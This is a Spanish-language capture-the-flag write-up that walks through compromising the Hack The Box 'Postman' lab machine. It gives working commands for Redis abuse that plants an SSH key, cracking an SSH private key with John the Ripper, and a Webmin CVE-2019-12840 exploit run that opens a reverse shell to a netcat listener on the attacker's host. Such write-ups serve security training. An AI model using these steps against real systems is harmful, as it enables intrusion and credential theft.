En este post voy a vulnerar la máquina Postman de Hack the Box. Es una máquina Linux de nivel fácil que combina muy bien una serie de desafíos básicos con la importancia de una configuración correcta de los servicios.
Enumeración
Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo; esto es muy ruidoso pero al ser un entorno controlado no me preocupa el ruido.
nmap -p- --open -n --min-rate 5000 10.10.10.160

En la máquina hay cuatro puertos abiertos. Escaneo los cuatro puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.
nmap -p22,80,6379,10000 -sC -sV 10.10.10.160 Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-24 16:35 CET Nmap scan report for 10.10.10.160 Host is up (0.11s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA) | 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA) |_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: The Cyber Geek's Personal Website 6379/tcp open redis Redis key-value store 4.0.9 10000/tcp open http MiniServ 1.910 (Webmin httpd) |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 37.58 seconds
A continuación, enumero los servicios mas detalladamente. Con SSH tengo poco que hacer, así que este servicio me lo saltaré.
HTTP
Puerto 80
Comienzo accediendo a la web desde el navegador.

En una inspección inicial, no encuentro nada relevante así que hago un fuzzing para buscar directorios ocultos y encuentro varios directorios que pueden ser interesantes.
$ gobuster dir -u http://10.10.10.160:80/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -e 2>/dev/null


Desgraciadamente, estos directorios, no me aportan nada así que pago a otro puerto.
Puerto 1000
Comienzo accediendo a la web desde el navegador pero obtengo un mensaje de error.

A primera vista puede parecer que está utilizando un hosting virtual pero si me fijo detalladamente en la url veo que está utilizando el protocolo https mientras que yo he intentando acceder utilizando el protocolo http. Simplemente indico el protocolo desde la barra del navegador y ya puedo acceder a la web, llegando a un portal de autenticación de Webmin.


Pruebo sin éxito las credenciales por defecto del software admin:eraadmin y las típicas combinando admin y root.
Sin más ideas, cambio a otro servicio.
Redis
Redis es un motor de base de datos en memoria basado en el almacenamiento en tablas de hashes (más información aquí).
En primer lugar busco como interactuar con Redis. Las formas mas comunes son a través de telnet o utilizando redis-cli. Con redis-cli obtengo los mismos resultados y es mucho mas sencillo de utilizar por lo que me decantaré por esta opción.
Primero me conecto, luego verifico que la conexión ha sido exitosa (ping) y luego obtengo toda la información del servicio (info).
$ redis-cli -h 10.10.10.160
10.10.10.160:6379> ping
10.10.10.160:6379> info

10.10.10.160:6379> info
# Server
redis_version:4.0.9
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:9435c3c2879311f3
redis_mode:standalone
os:Linux 4.15.0-58-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:7.4.0
process_id:654
run_id:87c64737fae985013df52666756b26ebe9a1b1e5
tcp_port:6379
uptime_in_seconds:882
uptime_in_days:0
hz:10
lru_clock:15650295
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf
# Clients
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:0
blocked_clients:0
# Memory
used_memory:841240
used_memory_human:821.52K
used_memory_rss:3944448
used_memory_rss_human:3.76M
used_memory_peak:841240
used_memory_peak_human:821.52K
used_memory_peak_perc:100.00%
used_memory_overhead:832086
used_memory_startup:782456
used_memory_dataset:9154
used_memory_dataset_perc:15.57%
total_system_memory:941203456
total_system_memory_human:897.60M
used_memory_lua:37888
used_memory_lua_human:37.00K
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
mem_fragmentation_ratio:4.69
mem_allocator:jemalloc-3.6.0
active_defrag_running:0
lazyfree_pending_objects:0
# Persistence
loading:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1643039365
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
rdb_last_cow_size:0
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
aof_last_cow_size:0
# Stats
total_connections_received:15
total_commands_processed:21
instantaneous_ops_per_sec:0
total_net_input_bytes:507
total_net_output_bytes:32756
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
expired_stale_perc:0.00
expired_time_cap_reached_count:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0
migrate_cached_sockets:0
slave_expires_tracked_keys:0
active_defrag_hits:0
active_defrag_misses:0
active_defrag_key_hits:0
active_defrag_key_misses:0
# Replication
role:master
connected_slaves:0
master_replid:c7d543218f3ceddb61684538e5e1f1d719a0bc86
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0
# CPU
used_cpu_sys:0.85
used_cpu_user:0.26
used_cpu_sys_children:0.00
used_cpu_user_children:0.00
# Cluster
cluster_enabled:0
# Keyspace
A continuación, verifico el directorio en el que me encuentro. Como se puede ver, me encuentro en el directorio /var/lib/redis.
10.10.10.160:6379> config get dir

Explotación
Ahora se que tengo cierto control sobre Redis y, si está mal configurado, puedo utilizarlo para provocar un RCE y acceder a la máquina víctima a través de SSH. Encuentro una guía bastante sencilla de como hacerlo en el gitbook de HackTricks pero también puedo verlo en el manual de <antirez> o utilizando la herramienta que encuentro en el github de iw00tr00t. Yo decido decantarme por la primera opción.
La ruta /var/lib/redis es el home del usuario redis del sistema por lo que, si tiene conexión SSH, tiene que tener un directorio oculto /.ssh. Me dirijo a este directorio y compruebo que estoy en él.
10.10.10.160:6379> config set dir ./.ssh
10.10.10.160:6379> config set dir

Como existe el directorio, y puedo acceder a él, es que hay una mala configuración del servicio por lo que puedo utilizarlo para la explotación.
En primer lugar, genero un par de claves rsa con ssh-keygen.
ssh-keygen -t rsa

Después copio la clave pública en un fichero y lo importo a Redis.
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > spaced_key.txt
$ cat spaced_key.txt | redis-cli -h 10.10.10.160 -x set ssh_key

Y por último, guardo la clave pública en el fichero authorized_keys.
10.10.10.160:6379> config set dir /var/lib/redis/.ssh
10.10.10.160:6379> config set dbfilename "authorized_keys"
10.10.10.160:6379> save

Ahora me conecto por SSH utilizando el fichero de la clave privada y accedo a la máquina víctima.
ssh -i id_rsa redis@10.10.10.160

Enumero los usuarios del sistema y veo que, además de mi usuario actual, hay un usuario root y otro llamado Matt.
cat /etc/passwd | grep -w "/bin/bash"

Accedo al directorio del usuario Matt y encuentro la flag de usuario pero no tengo permisos de lectura así que tendré que acceder como el usuario Matt.

Vuelvo a la home del usuario redis (/var/lib/redis) y enumero todo el contenido del directorio, incluido ficheros y directorios ocultos. Encuentro el fichero .bash_history que contiene el historial de los comandos lanzados por consola del usuario redis.

Leo el fichero .bash_history y encuentro varios comandos que me llaman la atención. En primer lugar, veo que cambia varias veces del usuario redis al usuario Matt, directamente por consola, utilizando su Matt (flecha roja) y en segundo lugar abre varias veces un fichero de backup llamando id_rsa.bak (flecha naranja) que, con ese nombre, me hace pensar que será la clave privada de un usuario.

Busco todos los ficheros propiedad del usuario Matt y encuentro el fichero de backup de la clave privada.
$ find / -user Matt 2>/dev/null

Como el fichero id_rsa.bak es propiedad del usuario Matt, doy por hecho que será su clave privada. Copio el contenido del archivo a un fichero de mi máquina local.


Como solo tengo la clave privada, y la autenticación por SSH utiliza el par de claves, no puedo utilizar el fichero para conectar por SSH como he hecho anteriormente así que tengo que romper el código y sacar la contraseña.
Utilizo ssh2john (por defecto en kali) para generar un hash del fichero que pueda romper por fuerza bruta con John The Ripper.
$ /usr/share/john/ssh2john.py id_rsa.bak > id_rsa_matt
$ ll
$ cat id_rsa_matt

Y rompo el hash, obteniendo la contraseña computer2008.
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_matt

Ahora bien, a priori, lo primero que pensaría (aunque es algo mas mecánico que pensado) es que he conseguido las credenciales Matt:computer2008 y que puedo utilizarlas para conectarme por SSH (de hecho lo intenté pero no funcionó) pero lo cierto es que puede que esta contraseña no sea válida para conectarse por SSH pero si para autenticarme en el sistema (lo que sería una correcta configuración del sistema). Si vuelvo a ver el fichero .bash_history veo que lo que hace es cambiar, directamente desde la consola, del usuario redis a Matt así que lo lógico es imitar este mismo proceso.
su Matt

Ahora si, accedo al directorio raíz de Matt y abro la flag de usuario.

Escalada de Privilegios
Tras enumerar el sistema como el usuario Matt y no encontrar ningún vector para la escalada de privilegios, recuerdo que en Webmin necesitaba unas credenciales de usuario para acceder y se me ocurre probarlas (principio de reutilización de credenciales). Las credenciales son Matt:computer2008 .


En principio puede parecer que esto aporta poco ya que me estoy autenticando como el usuario Matt y quiero elevar hasta root pero nada mas acceder, me acordé de la máquina de un examen que hice hace algún tiempo, creada por Adrian Dolbuck, donde utilizaba este mismo servicio (realmente me acordé de este examen nada mas ver que se ejecutaba Webmin). Vuelvo a la consola de la máquina victima y compruebo quién está ejecutando el programa.
ps aux | grep -w "webmin"

Como se puede ver en la imagen anterior, el programa lo está ejecutando el usuario root.
En la pantalla principal, nada mas autenticarme, indica que está corriendo la versión 1.910 de Webmin.

Esta versión versión tiene una vulnerabilidad de RCE, registrada con el código CVE-2019-12840 que puedo utilizar para escalar privilegios. Si busco en la base de datos de Exploit-db encuentro este script para metasploit pero, en el github de roughiz encuentro una versión modificada y que es válida para OSCP.
Simplemente clono el respositorio a mi máquina local y accedo a él.
git clone https://github.com/roughiz/Webmin-1.910-Exploit-Script
cd Webmin-1.910-Exploit-Script/
ll

Simplemente pongo un netcat a la escucha por el puerto 7897.
nc -nlvp 7897
Y ejecuto el script siguiendo las instrucciones de uso y consigo una shell reversa por netcat.
python webmin_exploit.py --rhost 10.10.10.160 --rport 10000 --lhost 10.10.14.9 --lport 7897 -u Matt -p computer2008 -s true


Como se puede ver en la imagen anterior, la consola no es tty. Mas adelante explicaré como conseguirla.
La flag de root la encuentro en el directorio raíz del usuario.


Consola tty
Como ya he dicho anteriormente en otros post, para que la máquina esté resuelta de modo OSCP Friendly, es necesario conseguir una shell tty. Con los siguientes comandos consigo convertir la shell en shell tty en python facilmente.
script /dev/null -c bash ^Z
CTRL + Z
Ahora sin cambiar de consola.
stty raw -echo; fg reset
Y con esto vuelvo a la shell reversa. Añado los siguientes comandos.
xterm export TERM=xterm export SHELL=bash
Y ya he conseguido una consola tty.
Para finalizar (esto es opcional) solo me faltaría adaptar las dimensiones de la shell de la consola a las de mi ventana de shell. En una shell de mi máquina atacante compruebo las dimensiones de la ventana.
stty size
Y las modifico en la shell reversa.
stty rows [X] columns [Y]
